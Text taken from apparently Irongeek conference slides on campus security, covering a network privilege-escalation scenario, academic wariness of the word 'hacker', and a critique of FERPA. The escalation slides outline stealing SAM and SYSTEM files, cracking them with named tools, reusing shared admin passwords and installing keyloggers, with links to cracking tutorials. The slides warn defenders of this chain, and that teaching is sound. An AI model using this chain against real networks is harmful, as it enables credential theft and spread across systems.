http://Irongeek.com Some may be thinking: "Those are just the patron access machines - my staff workstations and file servers are still safe because they are behind locked doors." Let me share my little horror story about network privilege escalation:
http://Irongeek.com 1. First frat boy Bob becomes a local admin on a workstation using a boot device. 2. He then copies off the SAM and SYSTEM files for later cracking with Cain or Hashcat http://www.oxid.it/cain.html http://hashcat.net I've done tons of videos/articles over the years on password cracking, so I'll point you to some of those: http://www.oxid.it/cain.html http://hashcat.net Cracking Windows Vista/XP/2000/NT Passwords via SAM and SYSKEY with Cain, Ophcrack, Saminside, BKhive, Samdump2 etc http://www.irongeek.com/i.php?page=security/cracking-windows-vista-xp-2000-nt- passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc http://www.irongeek.com/i.php?page=security/cracking-windows-vista-xp-2000-nt- passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc Password Exploitation Class http://www.irongeek.com/i.php?page=videos/password-exploitation-class http://www.irongeek.com/i.php?page=videos/password-exploitation-class
http://Irongeek.com 3. Many folks use the same local admin passwords on all of the boxes they deploy, allowing Bob to attack other boxes from across the network using the cracked credentials. 4. Bob then installs a software key logger to gain even more credentials as faculty, staff and students login to the compromised workstation. 5. Repeat leap frogging.

More on passwords in a bit None of it stops hardware key loggers
http://Irongeek.com Even professors from Comp Sci/Infosec may not know tech details Defining Pen-test to two Infosec professors Defining what a USB hub was to another Silly attitudes: "Additionally, Mr. Crenshaw's personal website, housed on university resources, is a compendium of links to know computer hacker websites, hacker toolkits, and other hacker resources.“ ~ Larry Mand The word hacker freaks them out a bit
http://Irongeek.com Sterling Riggs WDRB Facebook Post September 26: “I don't know how I feel about this--DerbyCon happening at Hyatt downtown. It's a convention for computer hackers.” Lot’s of prejudicial comments I pointed it out to my infosec buds on Twitter, and tons of Infosec folks showed up to defend hackerdom and the conference Post since deleted But Jayson E. Street (@jaysonstreet) saved some Eve Adams got in the last words I saw: "Kill em with kindness. Hack em with hugs."

http://Irongeek.com Three main parts 1. Give students access to their records 2. The ability to amend records 3. To control disclosure of student records Only for Schools getting money form U.S. Department of Education programs Why it is pretty fucking useless!
http://Irongeek.com No individual right to sue See Gonzaga University v. Doe Can’t find a case of any university ever loosing funding because of a breach Have there been no breaches? Just not enforced?
http://Irongeek.com Two Quotes: "If, as a result of the hearing, the school still decides not to amend the record, the eligible student has the right to insert a statement in the record setting forth his or her views" "Thus, while FERPA affords eligible students the right to seek to amend education records which contain inaccurate information, this right cannot be used to challenge a grade or an individual's opinion, or a substantive decision made by a school about a student." Amendment clause has exceptions (that covers all possibilities) Grades Statements or Opinions “Substantive” Decision What is left? Overall Conclusion: FERPA has no teeth
